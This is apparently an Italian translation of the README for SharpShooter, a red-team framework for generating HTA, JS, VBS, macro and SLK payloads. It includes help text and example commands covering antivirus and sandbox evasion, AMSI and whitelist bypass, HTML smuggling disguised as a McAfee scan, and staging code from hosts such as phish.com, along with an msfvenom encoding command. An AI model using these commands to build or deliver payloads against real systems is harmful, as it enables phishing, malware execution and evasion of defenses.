
Framework di generazione di payload
_____ __ _____ __ __
/ ___// /_ ____ __________ / ___// /_ ____ ____ / /____ _____
\__ \/ __ \/ __ `/ ___/ __ \\__ \/ __ \/ __ \/ __ \/ __/ _ \/ ___/
___/ / / / / /_/ / / / /_/ /__/ / / / / /_/ / /_/ / /_/ __/ /
/____/_/ /_/\__,_/_/ / .___/____/_/ /_/\____/\____/\__/\___/_/
/_/
SharpShooter è un framework per la creazione di payload per il recupero e l'esecuzione di codice CSharp arbitrario. SharpShooter è in grado di creare payload in vari formati, inclusi HTA, JS, VBS e WSF. Sfrutta lo strumento DotNetToJavaScript di James Forshaw per invocare metodi dall'oggetto serializzato DotNet di SharpShooter. I payload possono essere recuperati utilizzando la consegna Web o DNS o entrambi; SharpShooter è compatibile con il progetto MDSec ActiveBreach PowerDNS. In alternativa, è possibile generare anche payload senza staging con esecuzione di shellcode incorporata per gli stessi formati di scripting.
I payload di SharpShooter sono crittografati con RC4 utilizzando una chiave casuale per fornire un modesto elusione degli antivirus, e il progetto include la capacità di integrare il rilevamento di sandbox e il keying dell'ambiente per aiutare a eludere il rilevamento.
SharpShooter include un template CSharp predefinito per eseguire shellcode con payload con e senza staging, ma qualsiasi codice CSharp può essere compilato e invocato in memoria utilizzando la reflection, grazie al provider CodeDom di CSharp.
Infine, SharpShooter offre la possibilità di raggruppare il payload all'interno di un file HTML utilizzando la tecnica Demiguise HTML smuggling.
SharpShooter è mirato alle versioni v2, v3 e v4 del framework .NET che si trovano sulla maggior parte delle workstation Windows degli utenti finali.
La versione 1.0 di SharpShooter ha introdotto diversi nuovi concetti, tra cui il COM staging, l'esecuzione di Squiblydoo e Squiblytwo, nonché l'esecuzione XSL. Per realizzare questa nuova funzionalità, sono stati aggiunti diversi nuovi flag: --com, --awl e --awlurl.
La versione 2.0 di SharpShooter ha aggiunto il modulo di bypass AMSI, insieme al supporto per la generazione di documenti con macro VBA ed Excel 4.
Ulteriori informazioni sono disponibili nel post del blog MDSec.
SharpShooter è altamente configurabile e supporta diversi tipi di payload, evasioni sandbox, metodi di consegna e tipi di output.
Eseguire SharpShooter con l'argomento --help produrrà il seguente output:
usage: SharpShooter.py [-h] [--stageless] [--dotnetver <ver>] [--com <com>]
[--awl <awl>] [--awlurl <awlurl>] [--payload <format>]
[--sandbox <types>] [--amsi <amsi>] [--delivery <type>]
[--rawscfile <path>] [--shellcode] [--scfile <path>]
[--refs <refs>] [--namespace <ns>] [--entrypoint <ep>]
[--web <web>] [--dns <dns>] [--output <output>]
[--smuggle] [--template <tpl>]
optional arguments:
-h, --help show this help message and exit
--stageless Create a stageless payload
--dotnetver <ver> Target .NET Version: 2 or 4
--com <com> COM Staging Technique: outlook, shellbrowserwin, wmi, wscript, xslremote
--awl <awl> Application Whitelist Bypass Technique: wmic, regsvr32
--awlurl <awlurl> URL to retrieve XSL/SCT payload
--payload <format> Payload type: hta, js, jse, vba, vbe, vbs, wsf
--sandbox <types> Anti-sandbox techniques:
[1] Key to Domain (e.g. 1=CONTOSO)
[2] Ensure Domain Joined
[3] Check for Sandbox Artifacts
[4] Check for Bad MACs
[5] Check for Debugging
--amsi <amsi> Use amsi bypass technique: amsienable
--delivery <type> Delivery method: web, dns, both
--rawscfile <path> Path to raw shellcode file for stageless payloads
--shellcode Use built in shellcode execution
--scfile <path> Path to shellcode file as CSharp byte array
--refs <refs> References required to compile custom CSharp,
e.g. mscorlib.dll,System.Windows.Forms.dll
--namespace <ns> Namespace for custom CSharp,
e.g. Foo.bar
--entrypoint <ep> Method to execute,
e.g. Main
--web <web> URI for web delivery
--dns <dns> Domain for DNS delivery
--output <output> Name of output file (e.g. maldoc)
--smuggle Smuggle file inside HTML
--template <tpl> Name of template file (e.g. mcafee)
Di seguito sono forniti esempi di alcuni casi d'uso:
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3
Crea un payload JavaScript senza staging mirato alla versione 4 del framework .NET. Questo esempio creerà un payload denominato foo.js nella directory di output. Lo shellcode viene letto dal file ./raw.txt. Il payload tenta di imporre un'evasione sandbox chiavando l'esecuzione al dominio CONTOSO e controllando la presenza di artefatti noti di sandbox/VM.
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee
Crea un payload HTA senza staging mirato alla versione 2/3 del framework .NET. Questo esempio creerà un payload denominato foo.hta nella directory di output. Lo shellcode viene letto dal file ./raw.txt. Il payload tenta di imporre un'evasione sandbox controllando la presenza di indirizzi MAC virtuali noti. Verrà inoltre generato un payload di contrabbando HTML denominato foo.html nella directory di output. Questo payload utilizzerà il template di esempio di scansione antivirus McAfee.
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4
Questo esempio crea un payload VBS con staging che esegue sia la consegna Web che DNS. Il payload tenterà di recuperare un file CSharp GZip che esegue lo shellcode fornito come array di byte CSharp nel file csharpsc.txt. Il file CSharp utilizzato è il template di esecuzione shellcode integrato di SharpShooter. Il payload viene creato nella directory di output con nome foo.payload e dovrebbe essere ospitato su http://www.foo.bar/shellcode.payload. Lo stesso file dovrebbe essere ospitato anche sul dominio bar.foo utilizzando PowerDNS per servirlo. Il file VBS tenterà di chiavare l'esecuzione al dominio CONTOSO e sarà incorporato in un file HTML utilizzando la tecnica di contrabbando HTML con il template di scansione antivirus McAfee. Il payload risultante viene salvato nella directory di output con nome foo.html.
SharpShooter.py --dotnetver 2 --payload js --sandbox 2,3,4,5 --delivery web --refs mscorlib.dll,System.Windows.Forms.dll --namespace MDSec.SharpShooter --entrypoint Main --web http://www.phish.com/implant.payload --output malicious --smuggle --template mcafee
Questo esempio mostra come creare un payload JS con staging che esegue la consegna web, recuperando un payload da http://www.phish.com/implant.payload. Il payload generato tenterà l'evasione sandbox e tenterà di compilare il payload recuperato che richiede mscorlib.dll e System.Windows.Forms.dll come riferimenti DLL. Il metodo Main nello spazio dei nomi MDSec.SharpShooter verrà eseguito al termine della compilazione.
SharpShooter.py --stageless --dotnetver 2 --payload vbs --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com outlook --awlurl http://192.168.2.8:8080/foo.xsl
Questo esempio crea uno stager COM contrabbandato in VBS che utilizza il metodo COM Outlook.CreateObject() come primitiva per eseguire wmic.exe ed eseguire un foglio di stile ospitato. Il parametro --awl non viene utilizzato, di default utilizza wmic.
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl
Questo esempio crea un file HTA contrabbandato che utilizza l'interfaccia COM XMLDOM per recuperare ed eseguire un foglio di stile ospitato.
SharpShooter.py --stageless --dotnetver 2 --payload macro --output foo --rawscfile ./x86payload.bin --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl
Questo esempio crea un file macro VBA che utilizza l'interfaccia COM XMLDOM per recuperare ed eseguire un foglio di stile ospitato.
SharpShooter.py --payload slk --output foo --rawscfile ~./x86payload.bin --smuggle --template mcafee
Questo esempio crea un file Excel 4.0 SLK che esegue lo shellcode fornito e lo avvolge in HTML. Lo shellcode non può contenere byte nulli, suggerimento:
msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-encoded.bin -b '\x00'
Autore: Dominic Chell, MDSec ActiveBreach @domchell e @mdseclabs
Crediti: